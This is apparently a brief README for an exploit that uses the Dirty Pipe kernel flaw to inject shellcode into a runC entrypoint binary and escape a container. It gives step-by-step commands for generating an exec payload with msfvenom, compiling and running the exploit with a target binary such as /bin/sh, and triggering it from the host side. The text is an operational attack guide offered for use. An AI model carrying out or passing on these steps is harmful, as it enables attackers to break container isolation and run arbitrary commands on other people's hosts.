A simple exploit that uses dirtypipe to inject shellcode into runC entrypoint to implement container escapes.
Produce base64 encoded shellcode using msf:
$ msfvenom -p linux/x64/exec CMD="<command>" -f base64
Compile and run in the container, the overwritten filename is the bin that runC will execute in the container (such as /bin/sh):
$ gcc exploit.c -o exploit
$ ./exploit <overwritten filename> <base64 shellcode>
Trigger exploit and shellcode outside the container like CVE-2019-5736.
